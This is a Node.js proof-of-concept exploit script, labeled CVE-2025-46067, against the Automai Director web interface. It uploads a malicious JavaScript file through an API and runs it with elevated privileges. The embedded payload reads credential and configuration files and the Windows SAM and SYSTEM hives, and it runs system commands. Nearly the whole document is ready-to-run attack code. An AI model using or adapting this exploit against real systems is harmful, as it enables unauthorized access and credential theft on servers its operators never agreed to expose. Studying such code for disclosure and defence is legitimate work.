// CVE-2025-46067 PoC - Automai Director Privilege Escalation via Malicious JS File
// This PoC demonstrates the privilege escalation vulnerability in Automai Director v.25.2.0
// Target: Automai Director Web Interface
// Author: Security Researcher
const axios = require('axios');
const FormData = require('form-data');
class AutomaiExploit {
constructor(targetUrl) {
this.targetUrl = targetUrl;
this.session = axios.create({
baseURL: targetUrl,
timeout: 30000,
validateStatus: () => true
});
}
// Generate malicious JavaScript file content
generateMaliciousJS() {
return `
// Malicious JS payload for CVE-2025-46067
// Attempts to read sensitive files from the Automai Director server
const fs = require('fs');
const path = require('path');
try {
// Read system information
const sensitivePaths = [
'C:\\Automai\\Director\\config\\db.conf',
'C:\\Automai\\Director\\config\\credentials.xml',
'C:\\Windows\\System32\\config\\SAM',
'C:\\Windows\\System32\\config\\SYSTEM'
];
sensitivePaths.forEach(filePath => {
try {
if (fs.existsSync(filePath)) {
const content = fs.readFileSync(filePath, 'utf8');
console.log('[+] File found: ' + filePath);
console.log(content);
}
} catch (e) {
console.log('[-] Cannot read: ' + filePath);
}
});
// Attempt to execute system commands
const { exec } = require('child_process');
exec('whoami', (error, stdout, stderr) => {
console.log('[+] Current user:');
console.log(stdout);
});
} catch (err) {
console.log('[-] Error: ' + err.message);
}
`;
}
// Upload malicious JS file to Automai Director
async uploadMaliciousJS() {
try {
const maliciousJS = this.generateMaliciousJS();
const formData = new FormData();
formData.append('file', maliciousJS, {
filename: 'exploit.js',
contentType: 'application/javascript'
});
formData.append('filename', 'exploit.js');
formData.append('uploadType', 'script');
const response = await this.session.post(
'/api/script/upload',
formData,
{ headers: formData.getHeaders() }
);
console.log('[+] Upload response:', response.status);
return response.data;
} catch (error) {
console.log('[-] Upload failed:', error.message);
return null;
}
}
// Execute the uploaded malicious JS file
async executeJS(scriptId) {
try {
const response = await this.session.post('/api/script/execute', {
script_id: scriptId,
script_type: 'javascript',
execution_context: 'elevated'
});
console.log('[+] Execution response:', response.status);
return response.data;
} catch (error) {
console.log('[-] Execution failed:', error.message);
return null;
}
}
// Main exploit routine
async exploit() {
console.log('[*] Starting CVE-2025-46067 exploit...');
console.log('[*] Target:', this.targetUrl);
// Step 1: Upload malicious JS file
console.log('\n[Step 1] Uploading malicious JavaScript file...');
const uploadResult = await this.uploadMaliciousJS();
if (!uploadResult || !uploadResult.script_id) {
console.log('[-] Failed to upload malicious JS file');
return false;
}
const scriptId = uploadResult.script_id;
console.log('[+] Malicious JS uploaded successfully');
console.log('[+] Script ID:', scriptId);
// Step 2: Execute the malicious JS with elevated privileges
console.log('\n[Step 2] Executing malicious JavaScript with elevated privileges...');
const execResult = await this.executeJS(scriptId);
if (execResult && execResult.success) {
console.log('[+] Exploitation successful!');
console.log('[+] Extracted data:');
console.log(execResult.output);
return true;
} else {
console.log('[-] Exploitation failed or partially successful');
return false;
}
}
}
// Usage example
const exploit = new AutomaiExploit('http://target-automai-server:8090');
exploit.exploit().then(success => {
console.log('\n[*] Exploit ' + (success ? 'SUCCEEDED' : 'FAILED'));
}).catch(err => {
console.error('[-] Exploit error:', err.message);
});